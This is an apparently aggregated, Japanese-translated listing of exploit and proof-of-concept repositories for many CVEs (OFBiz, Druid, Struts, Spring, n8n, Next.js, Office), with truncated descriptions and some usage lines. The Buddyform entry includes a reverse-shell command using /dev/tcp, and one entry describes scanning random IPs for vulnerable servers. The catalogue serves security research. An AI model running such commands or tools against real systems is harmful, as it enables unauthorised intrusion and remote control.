Ofbiz-RCE

📌 Apache OFBiz RCE Exploit CVE-2024-38856 このPythonスクリプトは、Apache OFBiz バージョン 18.12.15 未満 における Remote Code Execution RCE タイプの脆弱性を、エンドポイント /webtools/control/forgotPassword/ProgramExport への不正アクセスを介して悪用します。 🛠️ 説明 CVE : CVE-2024-38856 タイプ : 不正な認可 → リモートコード実行 コンポーネント : Apache OFBiz 影響を受けるバージョン : 18.12.15...

Apache-Druid-CVE-2021-25646-Exploit

Apache Druid RCE エクスプロイト CVE-2021-25646 Apache Druid の JavaScript コードインジェクションを介したリモートコード実行（RCE）のための Python エクスプロイト（CVE-2021-25646）。 説明 このスクリプトは、Apache Druid（バージョン 0.20.1未満）の RCE 脆弱性を悪用し、特別に細工されたサンプラーリクエストを介して任意のコード実行を可能にします。 使用方法 root@kitploit: python3 druidrce.py -u http://target:8888 -c...

hotpatch-for-apache-log4j2

Log4jHotPatch これは、実行中のJVMプロセスにJavaエージェントを注入するツールです。エージェントは、ロードされたすべてのorg.apache.logging.log4j.core.lookup.JndiLookupインスタンスのlookupメソッドをパッチし、常に文字列"Patched JndiLookup::lookup"を返すようにします。これは、Javaプロセスを再起動せずにLog4jのリモートコード実行脆弱性CVE-2021-44228を解決するために設計されています。このツールはCVE-2021-45046も対処します。 これは現在、Linux上のJDK...

Rocket-Chat-3.12.1-PoC-CVE-2021-22911-

Rocket-Chat-3.12.1-PoC-CVE-2021-22911- 1. ログインページに移動 2. 新しいアカウントを登録し、パスワードを P@$$w0rd!1234 に設定 3. スクリプトを実行 -u = 低権限ユーザーのメールアドレス 2FAなし -a = 管理者のメールアドレス -t = URL 例: http://rocketchat.local python3 rocketchat.py -u [email protected] -a [email protected] -t http://192.168.169.164:3000 4...

Php-unit-CVE-2017-9841

phpunit リモートコード実行脆弱性（CVE-2017-9841） composerはPHPのパッケージ管理ツールであり、composerを使って拡張パッケージをインストールすると、カレントディレクトリにvendorフォルダが作成され、すべてのファイルがその中に配置されます。通常、このディレクトリはWebディレクトリの外に配置し、ユーザーが直接アクセスできないようにする必要があります。...

Exploits

@xer0dayz および @Sn1perSecurity https://sn1persecurity.com によって開発されたエクスプロイト集 Vulnserver.exe GMON SEH Overflow Exploit FreeFloat FTP Server HOST Buffer Overflow ASLR Bypass CoolPlayer+ Portable 2.19.6 Stack Overflow ASLR Bypass HTTPoxy Exploit/PoC Scanner Ability FTP 2.34 Buffer Overflow Exploit Aru...

Spring4shell-CVE-2022-22965-POC

Spring4shell RCE 脆弱性 この脆弱性は Spring Core に影響し、攻撃者が特別に細工された HTTP リクエストを送信することで、ライブラリの HTTP リクエストパーサーの保護をバイパスし、リモートコード実行を引き起こす可能性があります。 詳細情報はこちら この脆弱性が悪用されるためには、いくつかの条件を満たす必要があります JDK 9 以降を使用している Apache Tomcat をサーブレットコンテナとして使用している 従来の WAR としてパッケージ化されている（Spring Boot 実行可能 jar とは対照的） spring-webmvc または...

CVE-2022-24715-go

CVE-2022-24715 Icinga Web 2 のエクスプロイトで、Go で書かれています。元の Python コードは以下にあります: https://packetstormsecurity.com/files/173516/Icinga-Web-2.10-Remote-Code-Execution.html...

F5-Big-IP-CVE-2022-1388

F5-Big-IP-CVE-2022-1388 CVE-2022-1388 F5 Big IP 未認証リモートコード実行 PoC フォローする Vulnmachines YouTube Twitter Facebook...

text4shell

text4shell CVE-2022-42889 text4shell リモートコード実行脆弱性のデモンストレーションです。 詳細は次のブログ記事をご覧ください: パニックになるな！: CVE-2022-42889 Text4shell脆弱性（Apache Commons Textにおける）...

CVE-2022-22963

CVE-2022-22963 CVE-2022-22963 PoC 英語翻訳と検出のために若干修正したバージョン（https://github.com/chaosec2021/Spring-cloud-function-SpEL-RCE/blob/main/SpelRCEPOC.py をベース）。デフォルトでは、ターゲット上でwhoamiが実行され、脆弱なURLを含むvulnerable.txtファイルが作成されます。 詳細情報 https://www.cyberkendra.com/2022/03/rce-0-day-exploit-found-in-spring-cloud.html...

CVE-2022-21907

CVE-2022-21907 説明 - CVE-2022-21907のPoC：HTTPプロトコルスタックのリモートコード実行脆弱性。 - antx によって 2022-01-17 に作成されました。 詳細 - HTTPプロトコルスタックのリモートコード実行脆弱性。 - https://github.com/antx-code/CVE-2021-31166CVE-2021-31166 に類似。 - この問題は、昨年https://github.com/antx-code/CVE-2021-31166CVE-2021-31166で報告されたものですが、まだ存在しています。 CVE...

ApacheStruts-CVE-2018-11776

Apache Struts CVE-2018-11776 Python PoC これは https://github.com/hook-s3c/CVE-2018-11776-Python-PoC に基づいています。コンテナのビルドと指示がREADMEに記載されている通りに動作しなかったため、このフォークが作成されました。使用されているPOCエクスプロイトはRapid7からのものです。 謝辞: hook-s3c github.com/hook-s3c, @hooks3c on twitter Rapid7...

cve-2021-21985_exp

cve-2021-21985 エクスプロイト 0x01 脆弱性ポイント 分析から分かること： https://attackerkb.com/topics/X85GKjaVER/cve-2021-21985?referrer=homerapid7-analysis 0x02 エクスプロイト beansオブジェクトを再構築し、RCEを実現する。 beanリスト： root@kitploit: localizedMessageBundle vsanWorkerThreadFactory vsanThreadPoolImpl vsanServiceBundleActivator...

n8n-exploit-CVE-2025-68613-n8n-God-Mode-Ultimate

n8n God Mode Ultimate - CVE-2025-68613 スキャナー & エクスプロイトフレームワーク n8n ワークフロー自動化向け高度 RCE スキャナー & エクスプロイトツール 🎯 概要 n8n God Mode Ultimate は、n8n ワークフロー自動化プラットフォームにおける CVE-2025-68613 を検出・検証するための包括的なセキュリティテストフレームワークです。この深刻なリモートコード実行 RCE 脆弱性は、ワークフロー実行コンテキストでの式インジェクションを通じて、特定の n8n バージョンに影響を与えます。 CVE-2025-6861...

CVE-2025-64512-Polyglot-PoC

CVE-2025-64512 ポリグロットペイロード 過去数週間（2025年11月）、PDFファイルを処理する人気のPythonプロジェクトであるpdfminer.six（特にAIパイプラインで使用）において、興味深い脆弱性（CVE-2025-64512）が公開されました。この脆弱性は、pickle.loadsを介して信頼できないデータをデシリアライズすることでリモートコード実行を可能にし、PDFファイルを攻撃ベクトルとして利用します。ここまでは順調です：人気のあるPythonパッケージにおける重要な脆弱性です。私の注目を集めたのは、その悪用可能性でした👀。...

CVE-2017-5638

CVE-2017-5638 目次 1. 概要 2. 依存関係 3. 使用方法 概要 このプロジェクトは、Apache Strutsの脆弱性の概念実証です。 目的は、上記の脆弱性に対してランダムなIPアドレスを生成しテストするソフトウェアを作成することでした。 このプロジェクトは自己責任かつ教育目的でのみ使用してください。 依存関係 cURL cURLは、特定のIPアドレスとポートに細工されたヘッダーを送信するために使用されます。 Nmap Nmapは、ポート80または443が開いているランダムなIPアドレスを生成するために使用されます。 使用方法...

React2Shell-PoC

React2Shell-PoC CVE-2025-55182 および CVE-2025-66478 の概念実証エクスプロイトです。これらは React Server Components RSC と Next.js アプリケーションにおける深刻なリモートコード実行の脆弱性です。 概要 React2Shell は、Next.js のサーバーアクションハンドラーにおける安全でないデシリアライゼーションの悪用を実証します。これにより、認証されていない攻撃者が特別に細工されたマルチパートフォームデータペイロードを使用して、脆弱なサーバー上で任意のコマンドを実行できるようになります。 ツール...

CVE-2023-26326_Buddyform_exploit

python exploit.py "/wp-admin/admin-ajax.php" 'bash -c "bash -i & /dev/tcp// 0&1"' もともと、CVE-2023–26326 を悪用するには、デシリアライゼーションの脆弱性としてガジェットチェーンが必要でした。この手法は PHP 8+ で動作する新しい WordPress サイトではもはや使用できません。しかし、CVE-2024-2961https://www.ambionics.io/blog/iconv-cve-2024-2961-p1 と組み合わせることで、phar:// の代わりに php://filt...

CVE-2017-0199

Exploit toolkit CVE-2017-0199 - v4.0 Exploit toolkit CVE-2017-0199 - v4.0 は、ペネトレーションテスターやセキュリティ研究者に、Microsoft Office RCE を迅速かつ効果的にテストする方法を提供する便利な Python スクリプトです。複雑な設定なしに、悪意のある RTF/PPSX ファイルを生成し、Metasploit / Meterpreter / その他のペイロードを被害者に配信できます。 免責事項...